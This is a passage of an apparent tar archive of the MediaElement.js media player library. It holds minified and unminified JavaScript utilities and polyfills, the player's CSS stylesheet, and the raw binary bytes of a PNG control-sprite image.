u(e){if("string"!=typeof e)throw new Error("`type` argument must be a string");return e&&-1<e.indexOf(";")?e.substr(0,e.indexOf(";")):e}function c(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");for(var t=0,n=s.length;t<n;t++){var o=s[t](e);if(o)return o}var i=p(f(e)),r="video/mp4";return i&&(~["mp4","m4v","ogg","ogv","webm","flv","mpeg","mov"].indexOf(i)?r="video/"+i:~["mp3","oga","wav","mid","midi"].indexOf(i)&&(r="audio/"+i)),r}function f(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");var t=e.split("?")[0].split("\\").pop().split("/").pop();return~t.indexOf(".")?t.substring(t.lastIndexOf(".")+1):""}function p(e){if("string"!=typeof e)throw new Error("`extension` argument must be a string");switch(e){case"mp4":case"m4v":return"mp4";case"webm":case"webma":case"webmv":return"webm";case"ogg":case"oga":case"ogv":return"ogg";default:return e}}r.default.Utils=r.default.Utils||{},r.default.Utils.typeChecks=s,r.default.Utils.absolutizeUrl=l,r.default.Utils.formatType=d,r.default.Utils.getMimeFromType=u,r.default.Utils.getTypeFromFile=c,r.default.Utils.getExtension=f,r.default.Utils.normalizeExtension=p},{27:27,7:7}],29:[function(e,t,n){"use strict";var o,i=a(e(2)),r=a(e(4));function a(e){return e&&e.__esModule?e:{default:e}}if([Element.prototype,CharacterData.prototype,DocumentType.prototype].forEach(function(e){e.hasOwnProperty("remove")||Object.defineProperty(e,"remove",{configurable:!0,enumerable:!0,writable:!0,value:function(){this.parentNode.removeChild(this)}})}),function(){if("function"==typeof window.CustomEvent)return;function e(e,t){t=t||{bubbles:!1,cancelable:!1,detail:void 0};var n=i.default.createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}e.prototype=window.Event.prototype,window.CustomEvent=e}(),"function"!=typeof Object.assign&&(Object.assign=function(e){if(null==e)throw new TypeError("Cannot convert undefined or null to object");for(var t=Object(e),n=1,o=arguments.length;n<o;n++){var i=arguments[n];if(null!==i)for(var r in i)Object.prototype.hasOwnProperty.call(i,r)&&(t[r]=i[r])}return t}),String.prototype.startsWith||(String.prototype.startsWith=function(e,t){return t=t||0,this.substr(t,e.length)===e}),Element.prototype.matches||(Element.prototype.matches=Element.prototype.matchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector||Element.prototype.oMatchesSelector||Element.prototype.webkitMatchesSelector||function(e){for(var t=(this.document||this.ownerDocument).querySelectorAll(e),n=t.length-1;0<=--n&&t.item(n)!==this;);return-1<n}),window.Element&&!Element.prototype.closest&&(Element.prototype.closest=function(e){var t=(this.document||this.ownerDocument).querySelectorAll(e),n=void 0,o=this;do{for(n=t.length;0<=--n&&t.item(n)!==o;);}while(n<0&&(o=o.parentElement));return o}),function(){for(var i=0,e=["ms","moz","webkit","o"],t=0;t<e.length&&!window.requestAnimationFrame;++t)window.requestAnimationFrame=window[e[t]+"RequestAnimationFrame"],window.cancelAnimationFrame=window[e[t]+"CancelAnimationFrame"]||window[e[t]+"CancelRequestAnimationFrame"];window.requestAnimationFrame||(window.requestAnimationFrame=function(e){var t=(new Date).getTime(),n=Math.max(0,16-(t-i)),o=window.setTimeout(function(){e(t+n)},n);return i=t+n,o}),window.cancelAnimationFrame||(window.cancelAnimationFrame=function(e){clearTimeout(e)})}(),/firefox/i.test(navigator.userAgent)){var s=window.getComputedStyle;window.getComputedStyle=function(e,t){var n=s(e,t);return null===n?{getPropertyValue:function(){}}:n}}window.Promise||(window.Promise=r.default),(o=window.Node||window.Element)&&o.prototype&&null===o.prototype.children&&Object.defineProperty(o.prototype,"children",{get:function(){for(var e=0,t=void 0,n=this.childNodes,o=[];t=n[e++];)1===t.nodeType&&o.push(t);return o}})},{2:2,4:4}],30:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.isDropFrame=C,n.secondsToTimeCode=a,n.timeCodeToSeconds=s,n.calculateTimeFormat=l,n.convertSMPTEtoSeconds=d;var o,i=e(7),r=(o=i)&&o.__esModule?o:{default:o};function C(){return!((0<arguments.length&&void 0!==arguments[0]?arguments[0]:25)%1==0)}function a(e){var t=1<arguments.length&&void 0!==arguments[1]&&arguments[1],n=2<arguments.length&&void 0!==arguments[2]&&arguments[2],o=3<arguments.length&&void 0!==arguments[3]?arguments[3]:25,i=4<arguments.length&&void 0!==arguments[4]?arguments[4]:0,r=5<arguments.length&&void 0!==arguments[5]?arguments[5]:"hh:mm:ss";e=!e||"number"!=typeof e||e<0?0:e;var a=Math.round(.066666*o),s=Math.round(o),l=24*Math.round(3600*o),d=Math.round(600*o),u=C(o)?";":":",c=void 0,f=void 0,p=void 0,m=void 0,h=Math.round(e*o);if(C(o)){h<0&&(h=l+h);var v=(h%=l)%d;h+=9*a*Math.floor(h/d),a<v&&(h+=a*Math.floor((v-a)/Math.round(60*s-a)));var g=Math.floor(h/s);c=Math.floor(Math.floor(g/60)/60),f=Math.floor(g/60)%60,p=n?g%60:Math.floor(h/s%60).toFixed(i)}else c=Math.floor(e/3600)%24,f=Math.floor(e/60)%60,p=n?Math.floor(e%60):Math.floor(e%60).toFixed(i);c=c<=0?0:c,p=60===(p=p<=0?0:p)?0:p,f=60===(f=f<=0?0:f)?0:f;for(var y=r.split(":"),E={},b=0,S=y.length;b<S;++b){for(var x="",w=0,P=y[b].length;w<P;w++)x.indexOf(y[b][w])<0&&(x+=y[b][w]);~["f","s","m","h"].indexOf(x)&&(E[x]=y[b].length)}var T=t||0<c?(c<10&&1<E.h?"0"+c:c)+":":"";return T+=(f<10&&1<E.m?"0"+f:f)+":",T+=""+(p<10&&1<E.s?"0"+p:p),n&&(T+=(m=(m=(h%s).toFixed(0))<=0?0:m)<10&&E.f?u+"0"+m:""+u+m),T}function s(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:25;if("string"!=typeof e)throw new TypeError("Time must be a string");if(0<e.indexOf(";")&&(e=e.replace(";",":")),!/\d{2}(\:\d{2}){0,3}/i.test(e))throw new TypeError("Time code must have the format `00:00:00`");var n=e.split(":"),o=void 0,i=0,r=0,a=0,s=0,l=0,d=Math.round(.066666*t),u=Math.round(t),c=3600*u,f=60*u;switch(n.length){default:case 1:a=parseInt(n[0],10);break;case 2:r=parseInt(n[0],10),a=parseInt(n[1],10);break;case 3:i=parseInt(n[0],10),r=parseInt(n[1],10),a=parseInt(n[2],10);break;case 4:i=parseInt(n[0],10),r=parseInt(n[1],10),a=parseInt(n[2],10),s=parseInt(n[3],10)}return o=C(t)?c*i+f*r+u*a+s-d*((l=60*i+r)-Math.floor(l/10)):(c*i+f*r+t*a+s)/t,parseFloat(o.toFixed(3))}function l(e,t){var n=2<arguments.length&&void 0!==arguments[2]?arguments[2]:25;e=!e||"number"!=typeof e||e<0?0:e;for(var o=Math.floor(e/3600)%24,i=Math.floor(e/60)%60,r=Math.floor(e%60),a=[[Math.floor((e%1*n).toFixed(3)),"f"],[r,"s"],[i,"m"],[o,"h"]],s=t.timeFormat,l=s[1]===s[0],d=l?2:1,u=s.length<d?s[d]:":",c=s[0],f=!1,p=0,m=a.length;p<m;p++)if(~s.indexOf(a[p][1]))f=!0;else if(f){for(var h=!1,v=p;v<m;v++)if(0<a[v][0]){h=!0;break}if(!h)break;l||(s=c+s),s=a[p][1]+u+s,l&&(s=a[p][1]+s),c=a[p][1]}t.timeFormat=s}function d(e){if("string"!=typeof e)throw new TypeError("Argument must be a string value");for(var t=~(e=e.replace(",",".")).indexOf(".")?e.split(".")[1].length:0,n=0,o=1,i=0,r=(e=e.split(":").reverse()).length;i<r;i++)o=1,0<i&&(o=Math.pow(60,i)),n+=Number(e[i])*o;return Number(n.toFixed(t))}r.default.Utils=r.default.Utils||{},r.default.Utils.secondsToTimeCode=a,r.default.Utils.timeCodeToSeconds=s,r.default.Utils.calculateTimeFormat=l,r.default.Utils.convertSMPTEtoSeconds=d},{7:7}]},{},[29,6,5,15,23,20,19,21,22,24,16,18,17,9,10,11,12,13,14]);��������������������������������������������������������������������������������������js/mediaelement/mediaelementplayer.css��������������������������������������������������������������0000644�����������������00000037043�14717703502�0014206 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* Accessibility: hide screen reader texts (and prefer "top" for RTL languages). Reference: http://blog.rrwd.nl/2015/04/04/the-screen-reader-text-class-why-and-how/ */ .mejs__offscreen { border: 0; clip: rect( 1px, 1px, 1px, 1px ); -webkit-clip-path: inset( 50% ); clip-path: inset( 50% ); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal; } .mejs__container { background: #000; box-sizing: border-box; font-family: 'Helvetica', Arial, serif; position: relative; text-align: left; text-indent: 0; vertical-align: top; } .mejs__container * { box-sizing: border-box; } /* Hide native play button and control bar from iOS to favor plugin button */ .mejs__container video::-webkit-media-controls, .mejs__container video::-webkit-media-controls-panel, .mejs__container video::-webkit-media-controls-panel-container, .mejs__container video::-webkit-media-controls-start-playback-button { -webkit-appearance: none; display: none !important; } .mejs__fill-container, .mejs__fill-container .mejs__container { height: 100%; width: 100%; } .mejs__fill-container { background: transparent; margin: 0 auto; overflow: hidden; position: relative; } .mejs__container:focus { outline: none; } .mejs__iframe-overlay { height: 100%; position: absolute; width: 100%; } .mejs__embed, .mejs__embed body { background: #000; height: 100%; margin: 0; overflow: hidden; padding: 0; width: 100%; } .mejs__fullscreen { overflow: hidden !important; } .mejs__container-fullscreen { bottom: 0; left: 0; overflow: hidden; position: fixed; right: 0; top: 0; z-index: 1000; } .mejs__container-fullscreen .mejs__mediaelement, .mejs__container-fullscreen video { height: 100% !important; width: 100% !important; } /* Start: LAYERS */ .mejs__background { left: 0; position: absolute; top: 0; } .mejs__mediaelement { height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 0; } .mejs__poster { background-position: 50% 50%; background-repeat: no-repeat; background-size: cover; left: 0; position: absolute; top: 0; z-index: 1; } :root .mejs__poster-img { display: none; } .mejs__poster-img { border: 0; padding: 0; } .mejs__overlay { -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; left: 0; position: absolute; top: 0; } .mejs__layer { z-index: 1; } .mejs__overlay-play { cursor: pointer; } .mejs__overlay-button { background: url('mejs-controls.svg') no-repeat; background-position: 0 -39px; height: 80px; width: 80px; } .mejs__overlay:hover > .mejs__overlay-button { background-position: -80px -39px; } .mejs__overlay-loading { height: 80px; width: 80px; } .mejs__overlay-loading-bg-img { -webkit-animation: mejs__loading-spinner 1s linear infinite; animation: mejs__loading-spinner 1s linear infinite; background: transparent url('mejs-controls.svg') -160px -40px no-repeat; display: block; height: 80px; width: 80px; z-index: 1; } @-webkit-keyframes mejs__loading-spinner { 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes mejs__loading-spinner { 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } /* End: LAYERS */ /* Start: CONTROL BAR */ .mejs__controls { bottom: 0; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; height: 40px; left: 0; list-style-type: none; margin: 0; padding: 0 10px; position: absolute; width: 100%; z-index: 3; } .mejs__controls:not([style*='display: none']) { background: rgba(255, 0, 0, 0.7); background: -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.35)); background: linear-gradient(transparent, rgba(0, 0, 0, 0.35)); } .mejs__button, .mejs__time, .mejs__time-rail { font-size: 10px; height: 40px; line-height: 10px; margin: 0; width: 32px; } .mejs__button > button { background: transparent url('mejs-controls.svg'); border: 0; cursor: pointer; display: block; font-size: 0; height: 20px; line-height: 0; margin: 10px 6px; overflow: hidden; padding: 0; position: absolute; text-decoration: none; width: 20px; } /* :focus for accessibility */ .mejs__button > button:focus { outline: dotted 1px #999; } .mejs__container-keyboard-inactive a, .mejs__container-keyboard-inactive a:focus, .mejs__container-keyboard-inactive button, .mejs__container-keyboard-inactive button:focus, .mejs__container-keyboard-inactive [role=slider], .mejs__container-keyboard-inactive [role=slider]:focus { outline: 0; } /* End: CONTROL BAR */ /* Start: Time (Current / Duration) */ .mejs__time { box-sizing: content-box; color: #fff; font-size: 11px; font-weight: bold; height: 24px; overflow: hidden; padding: 16px 6px 0; text-align: center; width: auto; } /* End: Time (Current / Duration) */ /* Start: Play/Pause/Stop */ .mejs__play > button { background-position: 0 0; } .mejs__pause > button { background-position: -20px 0; } .mejs__replay > button { background-position: -160px 0; } /* End: Play/Pause/Stop */ /* Start: Progress Bar */ .mejs__time-rail { direction: ltr; -webkit-box-flex: 1; -webkit-flex-grow: 1; -ms-flex-positive: 1; flex-grow: 1; height: 40px; margin: 0 10px; padding-top: 10px; position: relative; } .mejs__time-total, .mejs__time-buffering, .mejs__time-loaded, .mejs__time-current, .mejs__time-float, .mejs__time-hovered, .mejs__time-float-current, .mejs__time-float-corner, .mejs__time-marker { border-radius: 2px; cursor: pointer; display: block; height: 10px; position: absolute; } .mejs__time-total { background: rgba(255, 255, 255, 0.3); margin: 5px 0 0; width: 100%; } .mejs__time-buffering { -webkit-animation: buffering-stripes 2s linear infinite; animation: buffering-stripes 2s linear infinite; background: -webkit-linear-gradient(135deg, rgba(255, 255, 255, 0.4) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.4) 50%, rgba(255, 255, 255, 0.4) 75%, transparent 75%, transparent); background: linear-gradient(-45deg, rgba(255, 255, 255, 0.4) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.4) 50%, rgba(255, 255, 255, 0.4) 75%, transparent 75%, transparent); background-size: 15px 15px; width: 100%; } @-webkit-keyframes buffering-stripes { from { background-position: 0 0; } to { background-position: 30px 0; } } @keyframes buffering-stripes { from { background-position: 0 0; } to { background-position: 30px 0; } } .mejs__time-loaded { background: rgba(255, 255, 255, 0.3); } .mejs__time-current, .mejs__time-handle-content { background: rgba(255, 255, 255, 0.9); } .mejs__time-hovered { background: rgba(255, 255, 255, 0.5); z-index: 10; } .mejs__time-hovered.negative { background: rgba(0, 0, 0, 0.2); } .mejs__time-current, .mejs__time-buffering, .mejs__time-loaded, .mejs__time-hovered { left: 0; -webkit-transform: scaleX(0); -ms-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: 0 0; -ms-transform-origin: 0 0; transform-origin: 0 0; -webkit-transition: 0.15s ease-in all; transition: 0.15s ease-in all; width: 100%; } .mejs__time-buffering { -webkit-transform: scaleX(1); -ms-transform: scaleX(1); transform: scaleX(1); } .mejs__time-hovered { -webkit-transition: height 0.1s cubic-bezier(0.44, 0, 1, 1); transition: height 0.1s cubic-bezier(0.44, 0, 1, 1); } .mejs__time-hovered.no-hover { -webkit-transform: scaleX(0) !important; -ms-transform: scaleX(0) !important; transform: scaleX(0) !important; } .mejs__time-handle, .mejs__time-handle-content { border: 4px solid transparent; cursor: pointer; left: 0; position: absolute; -webkit-transform: translateX(0); -ms-transform: translateX(0); transform: translateX(0); z-index: 11; } .mejs__time-handle-content { border: 4px solid rgba(255, 255, 255, 0.9); border-radius: 50%; height: 10px; left: -7px; top: -4px; -webkit-transform: scale(0); -ms-transform: scale(0); transform: scale(0); width: 10px; } .mejs__time-rail:hover .mejs__time-handle-content, .mejs__time-rail .mejs__time-handle-content:focus, .mejs__time-rail .mejs__time-handle-content:active { -webkit-transform: scale(1); -ms-transform: scale(1); transform: scale(1); } .mejs__time-float { background: #eee; border: solid 1px #333; bottom: 100%; color: #111; display: none; height: 17px; margin-bottom: 9px; position: absolute; text-align: center; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 36px; } .mejs__time-float-current { display: block; left: 0; margin: 2px; text-align: center; width: 30px; } .mejs__time-float-corner { border: solid 5px #eee; border-color: #eee transparent transparent; border-radius: 0; display: block; height: 0; left: 50%; line-height: 0; position: absolute; top: 100%; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 0; } .mejs__long-video .mejs__time-float { margin-left: -23px; width: 64px; } .mejs__long-video .mejs__time-float-current { width: 60px; } .mejs__broadcast { color: #fff; height: 10px; position: absolute; top: 15px; width: 100%; } /* End: Progress Bar */ /* Start: Fullscreen */ .mejs__fullscreen-button > button { background-position: -80px 0; } .mejs__unfullscreen > button { background-position: -100px 0; } /* End: Fullscreen */ /* Start: Mute/Volume */ .mejs__mute > button { background-position: -60px 0; } .mejs__unmute > button { background-position: -40px 0; } .mejs__volume-button { position: relative; } .mejs__volume-button > .mejs__volume-slider { -webkit-backface-visibility: hidden; background: rgba(50, 50, 50, 0.7); border-radius: 0; bottom: 100%; display: none; height: 115px; left: 50%; margin: 0; position: absolute; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 25px; z-index: 1; } .mejs__volume-button:hover { border-radius: 0 0 4px 4px; } .mejs__volume-total { background: rgba(255, 255, 255, 0.5); height: 100px; left: 50%; margin: 0; position: absolute; top: 8px; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 2px; } .mejs__volume-current { background: rgba(255, 255, 255, 0.9); left: 0; margin: 0; position: absolute; width: 100%; } .mejs__volume-handle { background: rgba(255, 255, 255, 0.9); border-radius: 1px; cursor: ns-resize; height: 6px; left: 50%; position: absolute; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 16px; } .mejs__horizontal-volume-slider { display: block; height: 36px; position: relative; vertical-align: middle; width: 56px; } .mejs__horizontal-volume-total { background: rgba(50, 50, 50, 0.8); border-radius: 2px; font-size: 1px; height: 8px; left: 0; margin: 0; padding: 0; position: absolute; top: 16px; width: 50px; } .mejs__horizontal-volume-current { background: rgba(255, 255, 255, 0.8); border-radius: 2px; font-size: 1px; height: 100%; left: 0; margin: 0; padding: 0; position: absolute; top: 0; width: 100%; } .mejs__horizontal-volume-handle { display: none; } /* End: Mute/Volume */ /* Start: Track (Captions and Chapters) */ .mejs__captions-button, .mejs__chapters-button { position: relative; } .mejs__captions-button > button { background-position: -140px 0; } .mejs__chapters-button > button { background-position: -180px 0; } .mejs__captions-button > .mejs__captions-selector, .mejs__chapters-button > .mejs__chapters-selector { background: rgba(50, 50, 50, 0.7); border: solid 1px transparent; border-radius: 0; bottom: 100%; margin-right: -43px; overflow: hidden; padding: 0; position: absolute; right: 50%; visibility: visible; width: 86px; } .mejs__chapters-button > .mejs__chapters-selector { margin-right: -55px; width: 110px; } .mejs__captions-selector-list, .mejs__chapters-selector-list { list-style-type: none !important; margin: 0; overflow: hidden; padding: 0; } .mejs__captions-selector-list-item, .mejs__chapters-selector-list-item { color: #fff; cursor: pointer; display: block; list-style-type: none !important; margin: 0 0 6px; overflow: hidden; padding: 0; } .mejs__captions-selector-list-item:hover, .mejs__chapters-selector-list-item:hover { background-color: rgb(200, 200, 200) !important; background-color: rgba(255, 255, 255, 0.4) !important; } .mejs__captions-selector-input, .mejs__chapters-selector-input { clear: both; float: left; left: -1000px; margin: 3px 3px 0 5px; position: absolute; } .mejs__captions-selector-label, .mejs__chapters-selector-label { cursor: pointer; float: left; font-size: 10px; line-height: 15px; padding: 4px 10px 0; width: 100%; } .mejs__captions-selected, .mejs__chapters-selected { color: rgba(33, 248, 248, 1); } .mejs__captions-translations { font-size: 10px; margin: 0 0 5px; } .mejs__captions-layer { bottom: 0; color: #fff; font-size: 16px; left: 0; line-height: 20px; position: absolute; text-align: center; } .mejs__captions-layer a { color: #fff; text-decoration: underline; } .mejs__captions-layer[lang=ar] { font-size: 20px; font-weight: normal; } .mejs__captions-position { bottom: 15px; left: 0; position: absolute; width: 100%; } .mejs__captions-position-hover { bottom: 35px; } .mejs__captions-text, .mejs__captions-text * { background: rgba(20, 20, 20, 0.5); box-shadow: 5px 0 0 rgba(20, 20, 20, 0.5), -5px 0 0 rgba(20, 20, 20, 0.5); padding: 0; white-space: pre-wrap; } .mejs__container.mejs__hide-cues video::-webkit-media-text-track-container { display: none; } /* End: Track (Captions and Chapters) */ /* Start: Error */ .mejs__overlay-error { position: relative; } .mejs__overlay-error > img { left: 0; max-width: 100%; position: absolute; top: 0; z-index: -1; } .mejs__cannotplay, .mejs__cannotplay a { color: #fff; font-size: 0.8em; } .mejs__cannotplay { position: relative; } .mejs__cannotplay p, .mejs__cannotplay a { display: inline-block; padding: 0 15px; width: 100%; } /* End: Error */���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/mejs-controls.png�������������������������������������������������������������������0000644�����������������00000005503�14717703502�0013127 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR�����x���T��PLTE���?;<# LIJhef1-.vst㟝ǃZWX%7���^tRNS�0P @`p<w H$T+9V׺'sM5d :?"3f YS&-oN 8Xhxi|Fxϋ�� zIDATx옇rE7@K'ߛAէ. rN[u: ɻ/?^?>hK$y 'H,?Y7,4-?~`2/Z2G%|想v0DzPC9O cК%3|v8ӅY#4e>!`B6Y$aFNт 9>8E (>pBRgr:d>̈R4 �LB+vOP*cB }!{͠,3~^H85 0w)B8  "5UbFH3I6 M ]?BI  nt?|_eRu"gG5ujBxy'Ț(}KB0o2WL@| Y c߲B@-!Wv6VMZQJ}+HqE\»?]!3GJH+ZV>"J�cjr0!t5ZXc]b1IJw$VF|id{ah첦ܾ҄_>CV["%_=֠w.+$0#jFV߽0tK!BN'I`FԌ>::kR?zFI`FԌ?\/#3,Tu URj>}%8Q�HD^'EGݖJNP!/|ݰ ~,140 0 0 0 0 0 0 0Jņ6b-WKtMln,d=;sAnJ %tÓ,`~&s|7 Erǔv2B=uv`Ì2j9m#u$gcGqL&le~f#h Ҏ7M4/�-ҎO1`Xv-*lE#4fIDɒfht QrZs(ur$G+WvJvZ҈\АYG#ھ22TGáɴ_?^ 8w8*&NHPK$ԉpi9_we*9!QT%ByبV'r;&O {Y ͛~ΏyVh`uh R3ACJ;f"!),lhePځXVa.w=fdOUO:wH٣`<J1G Yᄐ}}2$GZATǜ rJt*Ͳ ZTdNHB3Bҝ2X /ѷ-kK-xan';s@(ްQ]�͞q=c 5}B{ζ?50sdzt{n@קO[܃%.Xy9&ng %pZ"/aq*ؔn7PϢ/M<cV% H_k~z>=M}^)O4aѼEG,j qե u�ue=Ww{=rku :θkk rg,ٽs,i483,ZzwGèСw}S6wB\/W70!"*?;a cḡg)HZo.r' zOQxÑ},1=o->zQXbڴpLQpXoJY0bDQ!^"yֳU4;,?VlD:Y&ma@ lT2l!y|b^%1tDOS0A/iQC<=5% iܒVbӠmA텞n{q0HuӃ!R'@Vz5S'\.g%EFJwisA`#tA=\(A z+\-r@ȁ-b1ʀ*B9~ AU((f2ޡؚ>bkm[[`hG5 )kagᷴkAF8844}F'H9qlfE~[4 =*9rzf$�{xR LINh J3ze*I>Cy96`L}!f0 caL aKG`E6aD.}U怎ͽ |-i)lA`0,*Z`^~~Ke�yl|v0QS/bZ&\V,@.jHs<_4Q0pYZlo!Ї%ґ'-}zM9 yqbw+ʼԺR?H����IENDB`���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/mediaelement.js���������������������������������������������������������������������0000644�����������������00000357041�14717703502�0012620 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */(function(){function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s}return e})()({1:[function(_dereq_,module,exports){ },{}],2:[function(_dereq_,module,exports){ (function (global){ var topLevel = typeof global !== 'undefined' ? global : typeof window !== 'undefined' ? window : {} var minDoc = _dereq_(1); var doccy; if (typeof document !== 'undefined') { doccy = document; } else { doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4']; if (!doccy) { doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4'] = minDoc; } } module.exports = doccy; }).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) },{"1":1}],3:[function(_dereq_,module,exports){ (function (global){ var win; if (typeof window !== "undefined") { win = window; } else if (typeof global !== "undefined") { win = global; } else if (typeof self !== "undefined"){ win = self; } else { win = {}; } module.exports = win; }).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) },{}],4:[function(_dereq_,module,exports){ (function (root) { // Store setTimeout reference so promise-polyfill will be unaffected by // other code modifying setTimeout (like sinon.useFakeTimers()) var setTimeoutFunc = setTimeout; function noop() {} // Polyfill for Function.prototype.bind function bind(fn, thisArg) { return function () { fn.apply(thisArg, arguments); }; } function Promise(fn) { if (typeof this !== 'object') throw new TypeError('Promises must be constructed via new'); if (typeof fn !== 'function') throw new TypeError('not a function'); this._state = 0; this._handled = false; this._value = undefined; this._deferreds = []; doResolve(fn, this); } function handle(self, deferred) { while (self._state === 3) { self = self._value; } if (self._state === 0) { self._deferreds.push(deferred); return; } self._handled = true; Promise._immediateFn(function () { var cb = self._state === 1 ? deferred.onFulfilled : deferred.onRejected; if (cb === null) { (self._state === 1 ? resolve : reject)(deferred.promise, self._value); return; } var ret; try { ret = cb(self._value); } catch (e) { reject(deferred.promise, e); return; } resolve(deferred.promise, ret); }); } function resolve(self, newValue) { try { // Promise Resolution Procedure: https://github.com/promises-aplus/promises-spec#the-promise-resolution-procedure if (newValue === self) throw new TypeError('A promise cannot be resolved with itself.'); if (newValue && (typeof newValue === 'object' || typeof newValue === 'function')) { var then = newValue.then; if (newValue instanceof Promise) { self._state = 3; self._value = newValue; finale(self); return; } else if (typeof then === 'function') { doResolve(bind(then, newValue), self); return; } } self._state = 1; self._value = newValue; finale(self); } catch (e) { reject(self, e); } } function reject(self, newValue) { self._state = 2; self._value = newValue; finale(self); } function finale(self) { if (self._state === 2 && self._deferreds.length === 0) { Promise._immediateFn(function() { if (!self._handled) { Promise._unhandledRejectionFn(self._value); } }); } for (var i = 0, len = self._deferreds.length; i < len; i++) { handle(self, self._deferreds[i]); } self._deferreds = null; } function Handler(onFulfilled, onRejected, promise) { this.onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : null; this.onRejected = typeof onRejected === 'function' ? onRejected : null; this.promise = promise; } /** * Take a potentially misbehaving resolver function and make sure * onFulfilled and onRejected are only called once. * * Makes no guarantees about asynchrony. */ function doResolve(fn, self) { var done = false; try { fn(function (value) { if (done) return; done = true; resolve(self, value); }, function (reason) { if (done) return; done = true; reject(self, reason); }); } catch (ex) { if (done) return; done = true; reject(self, ex); } } Promise.prototype['catch'] = function (onRejected) { return this.then(null, onRejected); }; Promise.prototype.then = function (onFulfilled, onRejected) { var prom = new (this.constructor)(noop); handle(this, new Handler(onFulfilled, onRejected, prom)); return prom; }; Promise.all = function (arr) { var args = Array.prototype.slice.call(arr); return new Promise(function (resolve, reject) { if (args.length === 0) return resolve([]); var remaining = args.length; function res(i, val) { try { if (val && (typeof val === 'object' || typeof val === 'function')) { var then = val.then; if (typeof then === 'function') { then.call(val, function (val) { res(i, val); }, reject); return; } } args[i] = val; if (--remaining === 0) { resolve(args); } } catch (ex) { reject(ex); } } for (var i = 0; i < args.length; i++) { res(i, args[i]); } }); }; Promise.resolve = function (value) { if (value && typeof value === 'object' && value.constructor === Promise) { return value; } return new Promise(function (resolve) { resolve(value); }); }; Promise.reject = function (value) { return new Promise(function (resolve, reject) { reject(value); }); }; Promise.race = function (values) { return new Promise(function (resolve, reject) { for (var i = 0, len = values.length; i < len; i++) { values[i].then(resolve, reject); } }); }; // Use polyfill for setImmediate for performance gains Promise._immediateFn = (typeof setImmediate === 'function' && function (fn) { setImmediate(fn); }) || function (fn) { setTimeoutFunc(fn, 0); }; Promise._unhandledRejectionFn = function _unhandledRejectionFn(err) { if (typeof console !== 'undefined' && console) { console.warn('Possible Unhandled Promise Rejection:', err); // eslint-disable-line no-console } }; /** * Set the immediate function to execute callbacks * @param fn {function} Function to execute * @deprecated */ Promise._setImmediateFn = function _setImmediateFn(fn) { Promise._immediateFn = fn; }; /** * Change the function to execute on unhandled rejection * @param {function} fn Function to execute on unhandled rejection * @deprecated */ Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) { Promise._unhandledRejectionFn = fn; }; if (typeof module !== 'undefined' && module.exports) { module.exports = Promise; } else if (!root.Promise) { root.Promise = Promise; } })(this); },{}],5:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _en = _dereq_(9); var _general = _dereq_(18); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var i18n = { lang: 'en', en: _en.EN }; 